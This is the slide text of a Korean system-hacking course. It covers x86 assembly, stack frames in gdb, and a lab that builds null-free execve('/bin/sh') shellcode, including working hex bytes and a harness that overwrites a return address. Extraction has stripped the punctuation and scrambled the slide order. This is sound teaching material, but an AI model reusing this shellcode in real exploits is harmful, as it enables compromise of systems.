greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 19: 80×86  시스템에 대한 이해

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

